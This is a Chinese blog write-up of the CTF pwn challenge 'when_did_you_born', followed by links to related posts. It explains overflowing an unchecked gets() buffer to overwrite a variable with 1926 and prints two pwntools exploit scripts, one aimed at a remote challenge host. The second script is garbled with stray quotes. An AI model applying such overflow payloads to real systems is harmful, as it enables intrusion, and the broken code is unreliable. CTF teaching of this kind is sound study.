继上文,这次开始嫖when_did_you_born这题。前面的步骤大致是一样的就不赘述了,直接到代码分析。

字符串

这次呢在main函数处 按下F5进入调试 查看反汇编代码

可以清楚的看到它的逻辑一开始不能让它判断出是1926,否则就会出错,接着呢再输入名字后判断是否是1926,是的话就返回flag,否则就出去。

所以里要进行一下溢出操作直接越过第一次的判断。观察代码中的溢出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag

首先我们查看v5和v6差了多少字节。

这里分别双击v5和v6判断位置在哪,

这里呢我们在双击v6的时候发现出现在var_8的地方,而v5出现在var_18的位置。可能有些不理解,大家可以这样想,从起始的位置var_20到var_18的位置是v5的所分配的内部空间,既然我想去执行v6的内容那么我们就需要去覆盖掉v5,让程序认为这条路是从var_18开始的。所以这里所要的填充空间就为v5的空间8个字节。

下面是两种方式

from pwn import *
p=process('when')
p.sendafter('Your Birth?',str(0)+'\n')
p.sendafter(' Your Name?','a'*8+p64(1926))
p.interactive() #设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("111.198.29.45", 35099)
#设置payload,准备覆盖
payload = 'a'* (0x20-0x18) +p64(1926)
#这是接受消息,直到什么停止这样’
r.recvuntil("What's Your Birth?\n")‘
#发送消息
r.sendline("2000")’
r.recvuntil("What's Your Name?\n")‘
r.sendline(payload)
printr.recv()
printr.recv()

结果

知识回顾: 栈溢出 ,在这题看来就是地址覆盖,只要我们找可能执行的位置然后用我们想要的去覆盖掉,就可以执行我们想要的结果。

不要你觉得,我要我觉得。

when_did_you_born-瞟来的wp的更多相关文章

  1. cgpwn2-嫖来的wp

    本想练习pwn的题目活跃下思维,但是接触后发现完全不懂,gg 然后就多方搜集,弄来了一些工具(IDA pro.pwntool)结果自己还是不会用,又是一番刷视频,结果看完又是一脸懵. 只记得一个快捷键 ...

  2. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  3. wp已死,metro是罪魁祸首!

    1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...

  4. 关于 WP 开发中.xaml 与.xaml.cs 的关系

    今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...

  5. Android,ios,WP三大手机系统对比

    从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...

  6. 搜狗输入法wp风格皮肤

    换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...

  7. 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19

    上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...

  8. 【WP开发】读写剪贴板

    在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...

  9. 【WP开发】不同客户端之间传输加密数据

    在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...

  10. 【WP开发】加密篇:双向加密

    说起双向加密,如果以前在.NET开发中弄过加/解密的朋友都不会陌生,常用的算法有DES.AES等.在RT应用程序中,也提供了加密相关的API,算法自然是一样的,只是API的封装方式不同罢了,因为RT不 ...

随机推荐

  1. uniGUI之uniEdit(23)

    主要新加属性: a]EmptyText在没有文本里显示的背景文本. b]作为其他控件的编辑输入控件. c]ClearButton清空按钮 d]左边显示文本 e]回车触发事件CharEOL:=#13 f ...

  2. 07 DTFT

    DTFT 连续时间傅里叶变换(CTFT) 连续时间傅里叶变换的定义为: \[ X(j\Omega)=\int_{-\infty}^{\infty}x_a(t)e^{-j\Omega t}dt \] 其 ...

  3. SQL SERVER 语法汇总

    一.基础 1.说明:创建数据库CREATE DATABASE database-name 2.说明:删除数据库drop database dbname3.说明:备份sql server--- 创建 备 ...

  4. python学习记录(持续更新)--最最最基础的一部分(方法,异常处理,注释,类)

    写在前面 本系列教程针对有一定编程经验的伙伴快速入门python基础,一些涉及开发的常识问题,本文并不涉及. 方法 function def greet_user(name): print(f'Hi ...

  5. GO测试

    测试 Go拥有一个轻量级的测试框架,它由 go test 命令和 testing 包构成. 你可以通过创建一个名字以 _test.go 结尾的,包含名为 TestXXX 且签名为 func (t *t ...

  6. Eclipse上将maven项目部署到tomcat,本地tomcat下,webapps下,web-inf下lib下没有jar包决绝方案

    右键项目选择properties  ,选择Deployment Assembly  , 右边点击Add 然后选择  Java Build Path Entries ,,,next  ,  选择Mave ...

  7. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 显示代码:变量赋值

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  8. 2019年5月6日A股两百点暴跌行情思考

    原因:特朗普推特发布贸易战消息 盘面:跳空低开,单边下跌,上证指数最大跌幅200点,收盘千股跌停 操作:开盘加仓,盘中加仓,尾盘满仓 总结: 特大黑天鹅事件爆发引发大盘暴跌时,后续必将迎来一个反弹机会 ...

  9. eclipse启动时权限不够的问题

    eclipse启动时权限不够的问题 2009年04月28日 19:19:00 tomey21 阅读数 1445   安装好后每次都要用root权限运行,比较郁闷,摸索了一下,修改一下相关目录的权限就可 ...

  10. docker基础镜像ubuntu添加jdk1.8

    首先pull ubuntu18.04 docker pull ubuntu:18.04 下载jdk1.8 jdk-8u191-linux-x64.tar.gz 创建Dockerfile文件 编写文件如 ...